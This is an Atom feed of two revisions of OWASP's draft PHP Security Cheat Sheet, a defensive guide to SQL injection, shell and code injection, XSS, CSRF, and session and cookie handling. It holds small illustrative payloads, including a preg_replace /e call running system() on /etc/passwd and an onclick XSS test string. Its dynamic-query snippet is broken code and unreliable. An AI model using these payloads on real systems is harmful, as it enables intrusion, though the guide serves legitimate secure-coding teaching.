Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
 	return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
 	echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., you have to use a '''Secure Encoding''' library, but cannot trust the user. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers such always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165051</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165051"/>
				<updated>2013-12-21T19:10:18Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: Clarified SQLi prevention section by actually saying (at the top) that you shouldn't concatenate, which is the golden rule&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP status on the web==&lt;br /&gt;
PHP is the most commonly used server-side programming language and 72% of web servers deploy PHP. PHP is open source. The core of PHP is reasonably secure, but its plugins, libraries and third party tools are often insecure. Also no default security mechanism is included in PHP (there were some in the old days, but they usually broke things). &lt;br /&gt;
&lt;br /&gt;
PHP developers are usually better informed than ASPX or JSP developers on how the web and HTTP works, and that makes for better coding practices, but they both lack basic security knowledge. Other languages have built-in security mechanisms, which is why PHP websites often have more flawed. &lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate user data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source, it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
